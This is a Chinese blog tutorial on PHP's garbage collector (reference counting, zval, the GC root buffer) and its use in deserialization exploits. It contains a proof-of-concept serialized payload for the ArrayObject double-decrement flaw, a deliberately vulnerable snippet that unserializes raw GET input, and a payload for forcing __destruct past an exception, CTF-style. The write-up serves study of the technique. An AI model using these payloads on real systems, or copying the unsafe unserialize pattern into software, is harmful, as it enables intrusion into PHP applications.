PHP垃圾回收器与反序列化利用

Sl0th Lv4

PHP垃圾回收器与反序列化利用

垃圾回收机制

指php会自动释放程序不再需要的已分配的内存块。

PHP5.3之前

采用引用计数的方式,给每个内存对象分配一个计数器,每当内存对象被引用时,计数器+1,引用撤销后(unset()),计数器-1,对技术器=0时,对内存对象进行销毁,垃圾回收机制完成,php一个生命周期后会释放此进程/线程所占的内容

存在问题:两个或多个对象相互引用,使得计数器永远不为0,导致内存对象无法被回收

PHP5.3

加入复杂算法检测引用环的存在,避免内存泄露。

每个php变量存在一个叫zval的变量容器中,存储了变量的类型和值,还存储了“is_ref”bool型变量以标识该变量是否属于引用集合;还有一个“refcount”,用于表示指向这个zval变量容器的变量个数,注意,多个变量是可以共用一个变量容器的。

1
2
3
4
5
6
7
<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
unset( $b, $c );
xdebug_debug_zval( 'a' );
?>

以上代码会输出

1
2
a: (refcount=3, is_ref=0)='new string' 
a: (refcount=1, is_ref=0)='new string'

PHP7的NTS版本

在该版本,上述通过赋值同一个变量的情况已经不会再被计数,PHP7中,zval可以被引用计数或不被引用

  • 对于null,bool,int和double的类型变量,refcount永远不会计数;
  • 对于对象、资源类型,refcount计数和php5的一致;
  • 对于字符串,未被引用的变量被称为“实际字符串”。而那些被引用的字符串也不计数
  • 对于数组,未引用的变量被称为“不可变数组”。其数组本身计数与php5一致,但是数组里面的每个键值对的计数,则按前面三条的规则(即如果是字符串也不在计数);如果使用opcache,则代码中的常量数组文字将被转换为不可变数组。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo '测试字符串引用计数';
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
unset( $b);
xdebug_debug_zval( 'a' );
$b = &$a;
xdebug_debug_zval( 'a' );
echo '测试数组引用计数';
$c = array('a','b');
xdebug_debug_zval( 'c' );
$d = $c;
xdebug_debug_zval( 'c' );
$c[2]='c';
xdebug_debug_zval( 'c' );
echo '测试int型计数';
$e = 1;
xdebug_debug_zval( 'e' );

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
测试字符串引用计数
a:(refcount=1, is_ref=0)string 'new string' (length=10)
a:(refcount=1, is_ref=0)string 'new string' (length=10)
a:(refcount=2, is_ref=1)string 'new string' (length=10) //取地址引用时会改变
测试数组引用计数
c:(refcount=2, is_ref=0)
array (size=2)
0 => (refcount=1, is_ref=0)string 'a' (length=1)
1 => (refcount=1, is_ref=0)string 'b' (length=1)
c:(refcount=3, is_ref=0)
array (size=2)
0 => (refcount=1, is_ref=0)string 'a' (length=1)
1 => (refcount=1, is_ref=0)string 'b' (length=1)
c:(refcount=1, is_ref=0)//数组值改变后,之前引用全部废弃
array (size=3)
0 => (refcount=1, is_ref=0)string 'a' (length=1)
1 => (refcount=1, is_ref=0)string 'b' (length=1)
2 => (refcount=1, is_ref=0)string 'c' (length=1)
测试int型计数e:(refcount=0, is_ref=0)int 1 //int型不计引用次数

回收周期

PHP垃圾回收机制默认打开,可以设置php.ini值的zend.enable_gc,或者调用gc_enable() 和 gc_disable()函数。

当垃圾回收机制打开时,算法判断在根缓存区满时,执行循环查找,根缓存区大小需要通过修改php源码文件Zend/zend_gc.c中的常量GC_ROOT_BUFFER_MAX_ENTRIES,然后重新编译PHP,来修改这个值。

调用gc_disable()函数释放内存之前,先调用gc_collect_cycles()函数,以免根缓存区空间不足

垃圾的产生

PHP中一些复杂数据类型头部有一个GC,用于支持垃圾回收。

zend_reference 这个类型,这个是 PHP7 新增的变量类型,当对变量使用 “&” 操作时,会创建新的中间结构体 zend_reference,这个结构体会真正的指向对应的 value 结构。

1
2
3
4
// 当进行如下赋值操作时
$a = 'hello'; // $a -> zend_string
$b = $a; // $b,$a -> zend_string
$c = &$b; // $c,$b -> zval(type = IS_REFERENCE, refcount = 2) -> zend_string

image-20230405153644317
image-20230405153644317

$b和$c的zval都是通过中间结构体再指向最终的zend_string

回收的过程

如果当变量的 refcount 减小后大于 0,PHP 并不会立即对这个变量进行垃圾鉴定和回收,而是放入一个缓冲区中,等这个缓冲区满了以后 (10000 个值) 再统一进行处理,加入缓冲区的是变量 zend_value 里的 gc,目前垃圾只会出现在数组和对象两种类型中,数组的情况上面已经介绍了,对象的情况则是成员属性引用对象本身导致的,其它类型不会出现这种变量中的成员引用变量自身的情况,所以垃圾回收只会处理这两种类型的变量。

gc 的结构 zend_refcounted_h 具体如下:

1
2
3
4
5
6
7
8
9
10
11
12

typedef struct _zend_refcounted_h {
uint32_t refcount; // 记录 zend_value 的引用数
union {
struct {
zend_uchar type, // zend_value的类型, 与zval.u1.type一致
zend_uchar flags,
uint16_t gc_info // GC信息,记录在 gc 池中的位置和颜色,垃圾回收的过程会用到
} v;
uint32_t type_info;
} u;
} zend_refcounted_h;

一个变量只能加入一次缓冲区,为了防止重复加入,变量加入后会把 zend_refcounted_h.gc_info 置为 GC_PURPLE,即标为紫色,后续不会重复插入。

反序列化中的利用

__destruct魔术方法

当某个对象成为垃圾或者当对象被显式销毁时执行

  • 显示销毁:unset或赋值NULL
  • 隐式销毁:代码执行完毕后将所有申请的内存释放掉

在常规思路中destruct是隐式销毁触发的,尝试显式销毁

旧版本GC

简单的判断了一下变量的zval的refcount是否为0,是的话就释放否则不释放直至进程结束。

新版本GC-zval结构体

主动销毁变量:

1
2
3
4
5
6
7
8
9
10
<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
unset($temp_name);
xdebug_debug_zval('name');
//name:
//(refcount=2, is_ref=1)string '111' (length=3)
//name:
//(refcount=1, is_ref=1)string '111' (length=3)

refcount计数减1,说明unset并非一定会释放内存,当有两个变量指向的时候,并非会释放变量占用的内存,只是refcount减1.

触发垃圾回收

该算法的实现可以在Zend/zend_gc.chttps://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当销毁zval时(如在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象,除了这俩个类型外其他都不能包含循环引用,这一检查过程使用gc_zval_possible_root函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:

  • gc_collect_cycles()被手动调用
  • 垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。10000时预定义常量GC_ROOT_BUFFER_MAX_ENTRIES,当出现第10001个zval时,将再次调用gc_zval_possible_root进行检查,此时会调用gc_collect_cycles以处理并刷新当前缓冲区

可以得到触发思路,填满垃圾存储空间

反序列化

反序列化过程允许一遍又一遍地传递相同的索引,所以不断会填充内存空间。一旦重新使用数组索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles的调用。

ArrayObject

1
2
3
4
5
6
7
8
// POC of the ArrayObject GC vulnerability
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);

实际上,一旦该示例执行,外部数组(由$outer_array引用)将会被释放,并且zval将会被$filter2的zval覆盖,导致输出”bbbb”。

ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。

1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X)
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

highlight_file(__FILE__);

$flag ="flag{".md5(time)."}";

class B {
function __destruct() {
echo "successful\n";
echo $flag;
}
}

unserialize($_GET[1]);

throw new Exception('中途退出啦');

我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception。因为__destruct方法是在该对象被回收时调用,而exception会中断该进程对该对象的销毁。所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。

核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC

EXP

1
2
3
4
5
6
7
8
class B{
function __construct(){
echo "AndyNoel";
}
}
echo serialize(array(new B, new B));

//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}

造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”

  • 标题: PHP垃圾回收器与反序列化利用
  • 作者: Sl0th
  • 创建于 : 2022-10-20 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/10/20/PHP垃圾回收器与反序列化利用/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论